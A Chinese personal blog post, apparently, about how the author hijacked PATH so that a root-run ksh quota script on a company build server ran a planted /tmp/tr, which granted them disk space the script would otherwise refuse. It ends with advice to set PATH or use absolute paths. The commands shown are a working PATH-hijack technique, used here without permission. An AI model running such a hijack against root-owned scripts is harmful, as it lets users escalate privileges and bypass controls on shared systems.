PATH 的重要性

公司有台 Build server, 我们都可以在上面用一个 root 权限来执行的脚本为自己分配一个 8G 的空间来用,但可惜我来得晚,空间已经被瓜分殆尽,只剩下 4.77G,更要命的是,这个脚本只分 8G,它发现空间不够时不会分配剩余的空间,而是直接报错退出。

今天下午我就琢磨怎么把这 4.77G 拿来自己用了,首先想到的当然是看那个分配空间的脚本,但是,那个脚本 cb_dir.sh 的权限设置是

-r-S--x--x    1 root     root

我只能执行,不能 read。不甘心啊,在硬盘上看了一会,我发现它的一个备份文件,并且是可以读的,哈哈!

这是个 ksh 脚本,判断空间大小的代码:

#
# check bpool avaialble space
#
QUOTA_SIZE=8
AVAIL=`zfs list -H -o available $POOL`
echo $AVAIL | grep G >/dev/null 2>&1
(( $? > 0 )) && {
echo "Not enough space. Directory is not created."
exit 1
}
AVAIL_SIZE=`echo $AVAIL | tr -d G`
(( $AVAIL_SIZE < $QUOTA_SIZE )) && {
echo "Not enough space. Directory is not created."
exit 1
}

写得不是那么简洁 :P,下面切入正题了:脚本开始没有设置 PATH,并且用到的命令都没有带绝对路径,有机可乘!

$ cat > /tmp/tr << EOT#!/bin/ksh
print 9
EOT
$ chmod +x /tmp/tr$ export PATH=/tmp:$PATH

然后执行那个脚本,哈,4.77G 划到我的名下了。

如果脚本开始设置好 PATH,或者命令全都用绝对路径 (root 嘛,再怎么小心都不为过),就不会有这个漏洞了。这个例子可以拿去教育那些把“.”放到 PATH 中的人 ;)

0 Comments so far

  1. There are currently no comments.
Leave a Comment?


« 奥运会期间...进京人员须出具县级以上证明  —  vim 7 »

Tags

Blogroll

Fairy World | STUPiD | 阅微草堂 | ShelleX | 流浪五天